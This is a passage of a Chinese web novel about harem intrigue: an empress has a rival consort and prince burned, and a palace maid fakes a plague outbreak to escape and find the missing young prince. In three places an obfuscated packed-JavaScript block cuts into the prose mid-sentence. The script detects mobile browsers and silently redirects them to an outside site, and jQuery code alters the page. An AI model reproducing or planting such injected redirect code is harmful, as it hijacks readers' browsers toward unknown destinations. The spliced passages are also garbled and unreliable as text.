萧曜摇摇头，小脸上没了往日的兴致：“不想玩。”他沉默了一会儿，忽然抬头，眼神里带着一丝不易察觉的依赖和茫然：“千雪……你会一直在这儿吗？” 千雪心头一紧，蹲下身，平视着他的眼睛，声音沉稳而坚定：“殿下放心，奴婢会一直陪着殿下。” 萧曜看着她的眼睛，那里面没有敷衍，没有虚假，只有一种让人安心的力量。他紧绷的小脸微微放松了些，点了点头，没再说话。 皇帝启程的日子定在三日后，整个皇宫笼罩在一种压抑的气氛中。兵马调动，宫禁森严，后宫妃嫔们被勒令不得随意走动，各宫宫门紧闭，如同一个个孤岛。 出发前夜，皇帝竟意外地驾临了庆祥宫。 没有仪仗，只有几个心腹内侍随行，他看起来有些疲惫。 吴玉瑶带着萧曜跪迎，皇帝的目光在萧曜身上停留了片刻，眼神复杂难辨。他伸手，似乎想摸摸儿子的头，最终却只是拍了拍他的肩膀，声音低沉：“曜儿……留在宫里，听你吴娘娘的话，好好读书。” “是，父皇。”萧曜规规矩矩地应道，小脸上努力维持着镇定。 皇帝又转向吴玉瑶，目光在她脸上停留了一瞬，似乎想说什么，最终却只是淡淡道：“宫里……就辛苦你了。” “臣妾分内之事。”吴玉瑶垂首应道，声音平静无波。 皇帝没再多留，略坐片刻便起身离去。来去匆匆，像一阵抓不住的风。 送走皇帝，吴玉瑶站在空落落的殿门口，望着皇帝远去的背影，久久未动。夜风吹起她的衣袂，显得格外单薄。 千雪站在她身后半步，目光沉静地看着夜色深处。她知道，皇帝这一走，京城的天，怕是要彻底变了。而庆祥宫，还有年幼的萧曜，已经被推到了中心。 “千雪。”吴玉瑶的声音突然响起，带着一丝颤抖。 “奴婢在。” 吴玉瑶没有回头，声音很轻，“看好曜儿……无论发生什么……护住他！” “是。”千雪的回答只有一个字，却重逾千斤。 夜更深了，宫墙外的风，带着西北的寒意，刮得越发紧了。 前线的战报一封接一封送进京里，字里行间透着焦灼。西北的战事吃紧，皇帝御驾亲征的消息没能立刻压下叛军的气焰，反而像是激起了更凶的反扑。京城里的气氛一天比一天沉。 后宫也静得吓人，皇后，贤妃，淑妃这些高位嫔妃，都闭了宫门，轻易不见人。连每日的晨昏定省都免了，各宫都缩在自己的地盘里。 这天夜里，庆祥宫早早落了锁。千雪和衣躺在值夜的小榻上，闭目养神，耳朵却支棱着，捕捉着外头的动静。 三更天刚过，万籁俱寂。突然，一声极其短促、又极其凄厉的尖叫划破了死寂的夜空！那声音像是被人猛地掐断了脖子，只留下半截尾音，在冰冷的空气里打着旋儿，听得人头皮发麻！ 千雪猛地睁开眼，翻身坐起。声音传来的方向……是西边！贤妃的宫殿！ 她动作极快，悄无声息地溜下榻，贴近窗边，侧耳细听。外面又恢复了死寂，仿佛刚才那声尖叫只是幻觉。 不对！千雪眼神一凛。她习过武，耳力比常人敏锐得多。刚才那声，绝不是错觉， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246297|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她轻轻推开窗棂一道细缝，冷风灌进来。她凝神望去，永乐宫方向一片漆黑。 她回头看了一眼内室紧闭的门，吴玉瑶和萧曜都睡得沉。她不再犹豫，动作轻捷地翻出窗外，落地无声，迅速隐入廊下的阴影里。 她对皇宫的路径烂熟于心，专挑最偏僻，最黑暗的小道走，身形快得像一道影子。很快，她绕到了离永乐宫不远的一处花圃后面，借着半人高的草和假山石藏好。 刚藏定，就看见永寿宫侧后方一道不起眼的角门“吱呀”一声开了。几个黑影鱼贯而出，动作迅捷，落地无声。当先一人，身形瘦高，走路微微佝偻着背，千雪一眼就认出来——是皇后身边最得力的心腹内侍，赵德全！他身后跟着四个侍卫，穿着普通禁军的服色，但个个脚步沉稳，眼神锐利，一看就是顶尖的好手！ 赵德全脚步没停，只微微侧头对身后做了个手势。那四个侍卫中立刻分出两人，身形一晃，又悄无声息地闪回了角门内，反手轻轻带上了门。 赵德全带着剩下的两人，脚步不停，迅速消失在宫道另一头的黑暗里。 千雪屏住呼吸，伏在草丛里一动不动，连心跳都压到了最低。赵德全怎么会深夜出现在贤妃宫里？还带着这样的好手？刚才那声尖叫…… 她念头还没转完，永寿宫的方向，突然冒起了一股青烟！那烟起初很淡，混在夜色里几乎看不清，但很快，烟柱就变粗变浓，带着一股焦糊味飘散开来！紧接着，一点橘红色的火苗猛地从永乐宫偏殿的窗棂里窜了出来，舔上了屋檐！ 火！起火了！ 千雪心头剧震！赵德全刚走，火就起来了！ 火势蔓延得极快，风一吹，火苗呼啦啦往上卷，照亮了半边天。永乐宫里终于响起了惊慌失措的呼喊：“走水啦！快来人啊！走水啦！”脚步声，泼水声，哭喊声乱成一团。 千雪死死盯着那冲天的火光和混乱的人影，她很想冲过去看个究竟，但理智死死压住了冲动。赵德全带着人刚走，她若贸然现身，被皇后的人发现，后果不堪设想。 她最后看了一眼那片被火光映红的夜空，咬了咬牙，身体往后一缩，沿着来时的路径，潜回了庆祥宫。翻窗进屋，关上窗棂，她靠在冰冷的墙壁上，才发觉后背已经被冷汗浸透。 第二天一早，天还没大亮，消息就像长了翅膀，飞遍了整个宫廷。 “永乐宫昨夜走水了！” “火势太大！烧塌了半边殿宇！” “贤妃娘娘和二皇子……没能逃出来……殁了！” “说是……意外失火……值夜的宫女打翻了烛台……” 宫人们窃窃私语，脸上带着惊惧和难以置信。一个高高在上的后妃，还有堂堂皇子，就这么无声无息地葬身火海了？意外？这话听着，怎么都透着股子邪乎劲儿。 皇后下旨，厚葬贤妃和二皇子，命宫正司严查失火缘由，但查来查去，最后也只报了个宫人疏忽，烛火引燃帷幔的结论，几个值夜的宫女太监被杖毙了事。 庆祥宫里，吴玉瑶听完打听来的消息，她看向站在一旁的千雪。 贤妃和二皇子……就这么死了？死在一场“意外”的大火里？就在赵德全深夜造访之后？ 动手的人，必是凤仪宫的皇后！她这是要趁着萧琰不在，清理障碍了。 77.第七十七章 刺客 贤妃的事情刚结束，一波未平一波又起，萧琰御驾行至雁回峡，路遇流匪突袭！ 吴玉瑶让如月赶忙去打听，如月急匆匆离开，天色将晚时才回。 “娘娘打听到了，陛下无恙！”如月连忙补充，“龙辇护卫森严，刺客并未得手，只伤了几名侍卫。陛下已抵达前线大营。”她顿了一下，声音更沉，“只是……陛下受了些风寒，外加惊怒交加，已在营中卧榻调养数日了。” 风寒？惊怒交加？吴玉瑶心乱如麻，真是流匪？她心里沉沉的。 “陛下病情可有人详知？” “消息封锁得紧，”如月摇头，“只知是龙体欠安，具体情形不详，皇后娘娘今日一早便下令，为给前线陛下祈福，后宫一律茹素三日，各宫娘娘非召不得随意走动尤其是，”她抬眼看了看吴玉瑶，“尤其叮嘱庆祥宫娘娘，殿……殿下年纪小，受不得冲撞，这段时间务必要留在自己宫里，好生休养，静待圣驾佳音。” “软禁？”吴玉瑶只觉得一股火气往头顶冲，“她这是做给谁看？拿陛下龙体不安做由头，就要把我们锁死在这庆祥宫？！” “不止我们，”千雪冷静分析，“各宫都一样。只是……”她目光扫过外面紧闭的宫门，“盯着我们这边的眼睛，怕是最多的。”皇后的体恤，更像是一个要动手的信号，二皇子死了，如今除了皇后膝下的三皇子就剩下萧曜了。 若萧曜也出事，那皇后的孩子就是萧琰唯一的血脉了。 日子变成了死水，宫门紧闭，连日常采办都换了生面孔的太监递进来。饭菜是皇后派人统一安排的素斋，清淡寡味。宫人们走路都踮着脚尖，说话细声细气，生怕触怒了什么。 三天茹素期眼看就要过去。这日下午，吴玉瑶刚焚完一卷经，正捏着眉心靠在榻上小憩。如月脚步比往日更急地进来，脸色极其难看：“娘娘！裕王府……出事了！” 吴玉瑶心头一跳：“裕王怎么了？” “不是裕王爷！”如月摇头，气息有些急促，“是裕王府后宅！昨日……裕王最宠爱的那个侧妃刘氏……悬梁自尽了！” 裕王监国，位高权重，侧妃自尽绝非小事！ “说是……前日裕王在府内小宴，刘侧妃在席间失手摔碎了裕王心爱的一方古砚。裕王大怒，当众呵斥了她几句……结果刘侧妃回去后就想不开……”如月声音有些发抖，“尸首连夜草草葬了……对外只说是急症骤亡。” 吴玉瑶和千雪对望一眼，都在对方眼中看到了凝重。 失手摔砚？失宠自尽？这话骗骗外人还行。裕王爱重名声，岂会因一方砚台就逼死宠妃？ “裕王……此刻作何反应？”吴玉瑶沉声问。 “裕王震怒，”如月低声道，“据说在书房砸了许多东西，王府上下噤若寒蝉，还有……刘侧妃的贴身丫鬟，当晚也跟着突发急症，今早被抬出府了。” “御驾离京，皇后便在后宫清理门户，裕王监国，他的宠妃便因小错自尽……下一个，急症而亡的会是谁？陛下在前线龙体欠安，京中监国的裕王又深陷后宅丑闻，乱其心志……” 吴玉瑶只觉得一股寒流裹挟了她全身。 京畿的兵权，还在皇后父兄手里攥着。 裕王府，书房。 案上那方被摔碎的古砚，裂口狰狞。心爱的刘侧妃？呵，裕王攥紧的拳头指节发白，不是因为砚台，更非为了那个女人的死。 皇后……她动手了！用刘氏的一条命，狠狠地抽了他一记耳光，同时泼了他一身洗不净的污水！外头都在传他薄情逼死宠妃，京里京外的眼睛都钉在他身上。 管家缩在阴影里，大气不敢出：“王爷……尸首连夜葬了，丫鬟也病没了，外头暂时压住了风声……” “风声？”裕王的声音冷得掉冰碴，“她要的就是这风声！乱我的心，折我的威信！下一个……”他猛的站起身，目光穿透紧闭的窗棂，仿佛看到了那座深宫，“皇后软禁六宫，尤其是庆祥宫！她这是要动手了！冲着大皇子去的！” 贤妃和她的孩子已经死了，皇后疯了还要对庆祥宫动手！ 一开始安平郡王便怂恿陛下亲政，据他查到的消息，那反叛的西北将军聂承平似乎和宋家庶女宋婉曾有意订亲，只是这宋婉三年前亡故，他无处可查线索断了，但可以肯定的是，聂承平绝对和宋家有来往。 没时间了，陛下病在前线，音讯时断时续。他若按兵不动，皇后得逞，若贸然动作，就是授人以柄扰乱宫闱。 “去！让影子动手！只带人，别伤人！将大皇子安全带出皇宫。” “是！属下这就去办！” 宫门依旧紧锁着，三天茹素期过了，一点动静没有，又熬到深夜。风刮过院子里的枯树，呜呜地响。 和宫女小橘睡一屋的千雪，即使在梦里也绷着一根弦。不知到了什么时辰，殿外猛地传来一声变了调的嘶喊：“有刺客——！” 紧跟着是铛一声金属撞击脆响，然后是咚的重物倒地声。 千雪瞬间弹起，眼珠在黑暗里精光一闪，小橘吓醒了要叫，被千雪一把捂住嘴。 “别出声！”千雪低喝，松手冲出门。 廊下，如月倒在地上，一盏打翻的琉璃宫灯碎在旁边。 千雪眼神一厉，顾不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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吴玉瑶身体微晃：“那……殿下呢？！殿下可救回？” 赵德全继续道，“现场只见刺客尸骸，大皇子殿下暂时下落不明。” “下落不明……”吴玉瑶声音发颤。 “是，皇后娘娘已知此情，娘娘谕示：贼人既已伏诛，或有余孽匿藏，庆祥宫上下务必安守本宫，静待消息，不可妄动。”她的目光刻意扫过吴玉瑶苍白的脸和一旁的千雪，“娘娘请安心休养，奴告退。”说完，不再多看她们一眼，转身离去。 78.第七十八章 出宫 赵德全脚步声消失在宫墙外，吴玉瑶木然地瘫坐在椅中，眼里的光仿佛熄灭了。 千雪上前一步：“娘娘，现在不是慌的时候。” “曜儿……下落不明……” “可他还活着！”千雪目光灼灼，“刺客能避开层层守卫，精准劫走殿下，手段绝非寻常流寇，既不当时取命，必有所图！如今失踪，比发现尸体更耐人寻味。” “贤妃二皇子葬身火海在前，皇后动作太急，太狠！先是借病软禁宫闱，封禁消息，后是构陷裕王，乱其心神，您细想，她如此肆无忌惮，步步紧逼，连前线陛下病重的风声也利用上了，丝毫不见顾忌，这像什么？” 吴玉瑶明白了千雪华话里的意思，倒抽一口冷气：“她……不盼着陛下回来了？”陛下龙体欠安，前线战事不顺，皇后在京中手握兵权，膝下又有嫡子萧晃…… “没错！”千雪断定皇后有别的心思，甚至千雪都怀疑她或许并不想当这个皇后，三年前被接进宫也许非她所愿，“陛下若真龙驭宾天，或是无力回京……她所图，便是那把龙椅！为三殿下铺路！这深宫，很快就要变成砧板鱼肉之地！庆祥宫，正是她第二个要剜干净的地方！大皇子被虏出宫，未必是祸！而我们留下来，只有死路一条！我们要出去！” “出去……如何出？”宫门封锁，皇后的人像鹰犬一样盯着，连只苍蝇都难以飞出去。 千雪目光扫过殿外沉沉的夜色，脑海中浮现的是层层紧闭的宫门，最后落在吴玉瑶脸上：“寻常路径想也别想，我们……只能让她主动送我们出去。” “主动？”吴玉瑶蹙眉，不解其意。 “我在国公府时，随张府医学过些粗浅医术，曾见他收着一本残卷，记载过一种毒物提炼之法，此物无色无味，服下后六个时辰内，便会使面部生出大片红疹脓疮，迅速溃烂流脓，状若……染了极凶险的时疫恶疮！” 吴玉瑶瞳孔骤缩：“恶疮……似疫症？！你是要……” “就是疫症！”千雪接口，语气森然，“一旦庆祥宫内出现此等状似瘟疫的征兆，尤其在这陛下病重，前线军情紧张之际，宫中上下定会恐慌万状！皇后再想封锁消息也难！按宫中铁律，凡有重大疫病嫌疑者，尤其是不明来源者，必须立即隔离，挪出宫墙，送到宫外僻静之所看押诊治，以免在宫中蔓延酿成大祸！到那时，宫门自会为我们打开！” 吴玉瑶浑身发冷：“那东西……真的只是像？” “正是！”千雪肯定道，“张府医当时说，此物阴毒在于症状酷似天花恶疾初期，却并不具真正传染性，但对不知就里的人，尤其是畏惧瘟疫如虎的宫廷来说，这形貌就够了！” “但光挪出去还不够，皇后的人会死盯住我们。” 吴玉瑶抬眼看她，“那……” “我们分头走。”千雪很快做了决断，“药服下去，症状一露，皇后必急送我们出去，押送路上，是最乱的时机，我找准机会半道遁走，他们怕瘟疫，不会死追一个瘟鬼。” “你……逃走？”吴玉瑶的心脏狂跳，“去哪里？” “我得想办法找到殿下！” 接下来的几日，表面依旧是死水一潭，宫人行走无声。 入夜，庆祥宫侧殿一盏微弱的灯火亮起，千雪早已神不知鬼不觉地将所需药物准备好。 两颗药丸，一红一白，红色这颗，服下后六个时辰内，面颊会红肿发热，继而出现零星的红斑，丘疹，像极了烈性时疫初期，触目惊心但非致命，三日后会自行结痂脱落，只是可能会留下一些浅淡的疤痕，白色这颗则是解药。 午后，开始有负责洒扫庭院的小内监低声抱怨身上有些发痒，额头也有些发热，只道是天气反复着了风寒。 入夜，情况陡然剧变。 “啊——！”一声惊恐的尖叫从低等宫女聚居的通铺房里爆出！ “我的脸！我的脸怎么了？！好痒……好痛啊！”紧接着是另一个年轻小宫女的哭嚎。 “怎么回事？！”有嬷嬷惊慌的冲过去，借着廊下灯笼昏暗的光，只看到那几个当差的太监宫女脸上已布满骇人的红疹，有几处竟已开始破皮，渗出粘稠的黄水！那疹子蔓延之快，溃烂之状，触目惊心！ “天花？！痧症？！还是……疫鬼缠身？！”一个年长的宫女吓得连连倒退，面无人色，“我的老天爷！是瘟症！肯定是瘟症啊！快！快别碰她们！离远点！” 恐慌像瘟疫本身一样瞬间蔓延开来！所有庆祥宫的人都惊恐地远离那几个惨叫着，抓挠着脸颊和脖子的同伴。 消息不可能封锁了。 天刚蒙蒙亮，脸色铁青，口鼻捂着厚厚巾帕的赵德全带着几个同样捂得严实，手持棍棒的粗壮太监，急匆匆赶到庆祥宫门外，离得老远就停下脚步。 “吴美人何在？！”赵德全的声音隔着布巾嗡嗡作响，哪怕赵德全强装镇定，语气也带着压不下去的惊惧。 吴玉瑶在内殿，已经被千雪快速整理过，她穿着宽大的寝衣，青丝散乱，一方厚重的素纱软巾松松地遮住了口鼻以上的大半张脸，只露出一双透着虚弱，惊惶和病态的眼睛，千雪和小橘也做同样装扮。 “赵公公……”吴玉瑶的声音带着点颤抖，露出的一双眼睛蓄着泪水，由小橘和千雪搀扶着走到门边，隔着门道，“妾身……妾身也觉得周身燥热难耐，面上……似有红热，奇痒钻心……昨日夜间那几个宫人的模样……” “哎哟我的美人！”赵德全如避蛇蝎般猛一下往后退了一步，眼神里的恐惧和厌恶几乎要溢出来，“凤仪宫已得报！皇后娘娘……娘娘闻讯也是惊骇万分！陛下带着前线将士正在搏命，京畿重地，皇宫内院，岂容此等凶兆？！这是要动摇国本的祸事啊！” 他急促地喘着气，“娘娘懿旨！”他的声音陡然拔高，“庆祥宫内所有宫人！包括主位吴美人！凡出现征兆者，一概不得延误！立即移送至西郊皇庄废院叠翠苑隔离严加看守！没娘娘的手谕，任何人不得接近！所有一应用度，按疫患规例由皇庄拨给！快！都堵上嘴蒙上眼！立刻送走！省得瘟鬼冲了皇城气运！” 赵德全指挥着那几个蒙着脸，手持长棍的粗使太监如临大敌地冲进去，根本不给人辩解的机会。惊恐的宫人们被强行用粗糙的麻布堵住嘴，裹上灰扑扑的破布斗篷，更有一块面巾粗暴地蒙住了所有人的眼睛。 几个脸上已有溃烂的人被太监们用棍子推搡着，稍有迟缓便是一棍子闷在背上，痛得闷哼出声。 吴玉瑶同样被粗暴地对待，有人死死抓住她的手臂，力气大得几乎要将她骨头捏碎，她被推搡着，踉踉跄跄地朝外面走去。 庆祥宫沉重的朱漆大门在她们身后砰然关闭。 车轮碾过宫道长长的石砖路。 宫门，重重叠叠的高大宫门，应该已经被甩在了身后，每一道门的开启与关闭，都意味着离那噬人的漩涡远了一重。 不知走了多久。 “妈的！有人掉下去了？！”后面的太监吼道。 “管她娘的瘟鬼！快走！”车头领队的破口大骂，鞭声炸响。 车子在疯狂的颠簸中加速驶向黑暗的荒郊，听着外面的动静吴玉瑶明白，千雪果然脱身了。 押送的车子载着吴玉瑶，在太监的骂声和颠簸中越走越远。 千雪扑在路边泥水坑里，一动不动，耳朵贴着地面，确认车轮声彻底消失，才猛的坐起身，她迅速扯掉蒙眼的脏布和灰扑扑的斗篷，胡乱塞进旁边的乱草深处。 她摸向自己的脚踝，解开绑在那里的一个小油纸包，打开，里面是一粒白色蜡封的药丸，捏碎蜡壳，露出里面更小的白丸，她毫不犹豫塞进嘴里，干咽下去。 现在该去哪里？ 千雪开始思考，回国公府？太险，国公府里里外外，不知道有多少别人的眼睛盯着，谁知道都是谁的人，贸然回去，就是自己送进网里。 萧曜呢？如果他还活着，不管是谁派人带走了他，那小子现在会在哪？刺客全死，他却消失了，是被绑架他的人转移走，还是他自己察觉不对，混乱中主动藏匿？ 若是前者，那千雪不知道去何处寻他？若是后者，他只有七八岁，再聪明也还是个孩子， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259497|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么地方既能藏人，又能让他觉得稍微安心点？ 她喘着气靠在一棵枯树的根上，树皮硌着背脊，脑子里飞快分析。 她两边都做了假设，突然，一个地方跳了出来：慈恩寺。 若是萧曜是自己藏匿，他能去的地方千雪想到了慈恩寺。 念头一起，千雪再没犹豫，她决定先去慈恩寺探探，千雪唰的站起身，脱掉外面最显眼的，宫里样式的宫女服，卷成一团塞进更深的草里，只穿着里面深青色的旧中衣。 辨清方向后，立刻如影子一样，钻进荒草丛生的野地，朝着京城东北角快速潜去。 走的是野地，绕开大路和可能的人烟，荒草有半人高，踩下去沙沙响，碎石和枯枝硌着脚。 她走得很快，耳朵却竖着，不断停步，伏低身子，仔细听身后的动静。 一路寂静，只有风刮过枯草的呜咽，汗水把中衣后背浸湿了一片，冷风一吹，透心凉。 天光灰蒙蒙亮起时，她已能看到慈恩寺高大的围墙轮廓和檐角。寺庙大门前空地，已有早起的小贩推着板车吱呀呀经过，清扫寺门的沙弥也已拿起长柄扫帚。 果然香火未绝，这和记忆中随吴玉瑶来的那次一一样，香火算是京城里较旺的。 不能从大门进，千雪心念电转，身形不停，贴着墙根暗处急行，很快绕到了寺庙东侧一条僻静的后巷。 巷子很深，一侧是高高的寺庙围墙，另一侧是紧邻民居的后墙，中间只容两人并行，空气里飘着附近早炊的淡淡油烟味。 这里不是香客进香的路，千雪观察片刻，确认巷口无人留意。 她选了一段围墙下堆放了几处杂物的地方一堆破篓子，几捆陈旧的草垫，助跑两步，踩着篓子的边缘奋力向上一蹿！手指堪堪够到墙头青砖的缝隙，脚蹬着粗糙的墙面借力，腰身发力，整个人如狸猫般翻了上去，无声地滚落在围墙内侧的草地上，动作一气呵成，没发出太大响动。 墙内是寺庙的后部区域，脚下是潮湿的草地，眼前是一片低矮的，似乎是堆放杂物的屋舍，清晨的寒气很重，但空气中隐隐能听到前面大殿方向传来僧人做早课的诵经声。 这里偏僻，人少。 千雪矮下身，借着一排香积厨后墙与院墙的夹角阴影快速移动，目标很明确就是正殿。 大殿侧后方有扇不起眼的小门虚掩着，像是方便僧人进出的侧门，千雪闪身进去。 殿内光线昏暗，只有几盏长明灯摇曳着豆大的光亮，将巨大的佛像影子投射在墙壁上，檀香味浓郁。 早课声从殿前门外传来，隔着厚重的大门显得有些模糊。 正殿此刻并无香客，只有一两个穿着灰袍的沙弥在角落持着长柄拂尘，低声交谈着擦拭供桌。 佛像高大肃穆，金身在昏暗光线中依然显出几分庄严，佛座莲台宽阔，背后是与墙壁形成的一道不宽的夹缝阴影。 千雪的心瞬间悬起，她装作无意走过的香客模样虽然穿着中衣很奇怪，但此刻也顾不上了，沿着供桌外侧缓步绕行。 就在她脚步快接近佛座侧面时，阴影边缘似乎有极轻微的一动！紧接着，一声短促的，喉咙深处的抽气声，从夹缝深处挤了出来！ 千雪后颈的汗毛瞬间倒竖！她一个箭步猛蹿到佛座背后：“殿下！别怕！是我！千雪！” 下一秒，一个小小的身体裹着一件过于宽大、脏兮兮的深色外袍，哆嗦着从夹缝最深处拼命往外挤。灰尘蹭了他一脸，头发被汗水黏在额角，那里赫然凝着一块暗红色的血痂。 他一抬头，脸上全是黑灰混着眼泪淌下的泥印，下巴瘦得削尖，但那双被恐惧浸透，红肿不堪的眼睛，在看清千雪的脸时，瞬间像是即将溺毙的人抓住了浮木，巨大的委屈涌了上来。 “千……”刚发出半个带着浓重哭腔的音节，他立刻死咬着嘴唇吞了回去，只剩下身体颤抖，冰凉的小手死命抓住千雪的中衣下摆。 果然在这里！ 千雪一把将他冰冷，僵硬，还在不停打颤的小身体用力按进自己怀里。 找到了。 80.第八十章 小院风霜 骡车在颠簸的土路上走了不知多久，终于停下。张藏跳下车辕，掀开车帘：“到了，就是这。” 千雪抱着还在昏睡的萧曜钻出车厢，眼前是一个不大的农家小院，半人高的土坯院墙，有的地方塌了豁口。 三间低矮的土墙灰瓦房子，门窗老旧，但还算完整。院子一角有个歪斜的柴棚，四周是半枯的野草。整个庄子透着一股许久不曾住人的荒凉感。 张藏熟门熟路，从窗台下一块活动的砖头下面摸出一把锈迹斑斑的钥匙，开了中间正屋的门。一股尘土和潮霉气扑面而来。屋子里空荡荡，只有一张瘸腿的破木桌，几条矮凳，墙角结着蛛网。 “地方是偏了些荒了些，”张藏有点局促地搓着手，语速很快，“但这地方便宜，只是没人打理看着荒凉，这地方离主路远，不扎眼，水井在院子东南角，能用。稍微收拾收拾便能住人，炕是好的。被褥啥的车上有……其余的咱们慢慢添置，等回头风声不那么紧了，你们缺啥我和红缨给你们送。” 他说完，千雪便拜托他留意京里的消息，张藏应下后便要走了。“我得赶紧回去，红缨那边还等着信儿！记住，姐弟！少出门，尤其别靠近刘家铺子主街！” 说完，把钥匙塞给千雪，跳上车辕，鞭子一甩，骡车又颠簸着跑远了，扬起一路尘土。 四周彻底安静下来，只有远处风卷过枯草的沙沙声。 千雪将萧曜轻轻放到冰冷的土炕上，那孩子睡得极沉，被挪动也没醒。她放下装着田契的小布包，没顾上歇息，立刻开始巡视这个小庄子。 院墙有一处缺口，得尽快用树枝堵上。水井盖着破石板，辘轳也旧了，但打了半桶水上来，水质还算清。她在柴棚角落里找到一把斧头和一把锄头能用，后院巴掌大一小片薄田，荒着，草都长疯了。 千雪换上一套粗布衣服，这衣服还是苏红缨的，她穿着有些大，空荡荡的，千雪把头发草草挽起，用灰布头巾包严实。 她学着记忆中模糊的农妇样子，用那把斧头去庄子外林子边砍了些手腕粗的枯树枝，拖回来，再用藤蔓捆扎，费力地填补院墙的破洞。 萧曜醒来后，起初缩在炕角，眼神空洞。千雪不多说，只把苏红缨塞的两块干硬的杂面饼递给他，外加一个从包袱里翻出来的苹果：“吃。” 他接过饼和果子，啃得极其小心，时不时抬头警惕地看看外面，再继续啃。 吃完后，萧曜开口，“千雪，”他声音沙哑，“是裕王的人把我带出宫的。” 千雪拧开水囊递给他：“慢慢说。” 萧曜喝了两口水，语气急促了些：“他们说裕王得了消息，皇后容不下我，要下手了……裕王才想抢先一步把我带出去安置。”他攥着衣角，“在朱雀大街，禁军追上来，两边打起来了，我趁乱钻巷子跑了。” 他不信皇后也不信裕王，他看向千雪，声音低下去：“我不想回宫。”他虽是小孩，也知道宫里危险。 千雪点点头：“知道了，这儿暂时安全，先歇着，宫里暂时是肯定不能回去的，要等陛下回京我们才能现身。” 她没多问，也没多说，有些事情她猜也猜到了，萧琰不在京都御驾亲征在外，状况不知，皇后在后宫一手遮天，京都各方势力她们摸不清楚，裕王是敌是友也无法判断，她虽然拜托了张藏留意下消息，但这个时候只能蛰伏在暗处，等迷雾渐渐散去。 千雪转身去查看屋子内外院墙有好几个豁口，得找树枝补上，井还能用，柴棚里有把豁口的斧头和锄头，后院的田全荒了。 萧曜跟着走出来，站在门口看千雪忙活。 “我帮你。”萧曜说。 千雪没回头，只应了声：“嗯。” 千雪把一块轻点的木头塞进他怀里，示意他把木头递给她补洞。 萧曜笨拙地抱着木头，挪到墙边递给千雪。千雪费力地竖起来，再用捡来的粗藤蔓死死缠紧。 千雪去后院荒田拔草，野草根深叶茂，她蹲下身子，用手揪，用锄头剜。 “过来。”千雪直起腰，把锄头柄塞给他，指着地上翻出来的一小堆草，“抱去墙角晒着，以后当柴烧。” 萧曜迟疑着，看着那带着新鲜泥土的草茎，又看看自己还算干净的手指。最后还是慢慢挪过去，笨拙地用双手把草捧起来，小心翼翼送到墙角堆好，那姿势像捧着什么脏东西，但到底做了。 千雪去打水，井绳沉重，湿滑冰冷。桶拎上来小半桶水，倒进一只破瓦盆里。千雪用手掬水洗脸，冰冷的水激得她一个哆嗦。 “洗洗。”她对站在檐下的萧曜说。 萧曜看着瓦盆里浑着灰尘的水，犹豫了一下，学着千雪的样子，掬起水飞快地在脸上胡乱抹了两把。水顺着下巴流到衣襟上，他慌忙用袖子去擦。 中午是黄米粥和咸菜疙瘩，千雪在灶上焖了饼，饼里偷偷切了一小条腌的咸鱼干，鱼腥味在破旧的屋子里弥漫开。 萧曜捧碗，小口喝着寡淡的黄米粥。千雪掰了一小块掺了咸鱼干的饼放到他粥里：“吃这个，长力气。” 他看着那小块带点油星的饼，眼睛亮了一下，用筷子小心地夹起来，一点一点地啃。咸鱼干的味道有点怪，但他吃得比平时快了些。 日子在砍柴，拔草，堵墙洞，去更远的林边偷捡枯枝枯叶中一天天过去，千雪从不多说宫里的事，萧曜也沉默着不再问，实际千雪也不知道现在皇宫京都是什么情况。他额角的血痂慢慢掉了，露出一道粉红的新肉，小院墙角的柴垛渐渐堆高了点。 他开始主动做些事：早上千雪起来，有时发现灶洞里的灰被掏了，她去挑水时，看见萧曜正笨拙地用一根短棍把干草叶子挑进灶膛深处，试图引火。 “不用你管这个。”千雪走过去。 萧曜抬起头，脸上沾了点黑灰：“我看……看你弄过……” 千雪没说话，夺过短棍自己弄好。但当他用一个小木盆接了水，蹲在院角仔细洗掉几块沾满泥巴的，勉强能坐的石头时，千雪也没阻止。 入夜。 破油灯芯捻到最小，豆大的光晕照亮土坑炕角。萧曜裹着千雪分给他的半张粗硬薄被，缩着身子。 “雪姐……”黑暗中，他突然极轻地出声，这是他第一次用这个称呼。 “……嗯？”千雪在另一头应了一声。 “我们……一直……住这吗？”他的声音带着一种茫然。 千雪在黑暗里沉默了很久，窗外是旷野无边的风声。 “……暂时是。”千雪的声音有点干涩，其实她也想问，这日子艰难，她自从传穿来就被卖入国公府，还真没吃过这种苦。 萧曜不再问了，慢慢裹紧了身上的薄被，仿佛想汲取一点暖意。他知道从千雪这里也得不到回答，这段逃亡的时间，让萧曜觉得自己和千雪也没什么两样，宫女和皇子，身份天差地别，但真到了某种境地，自己还不如她呢。 萧曜睡不着，在黑暗里睁着眼，听着外面呼啸的风声，阿雪和阿虎的日子才刚刚开始，可这份平静，又能维持多久？风声里仿佛藏了无数双窥探的眼睛。外面的世界太大，太黑。 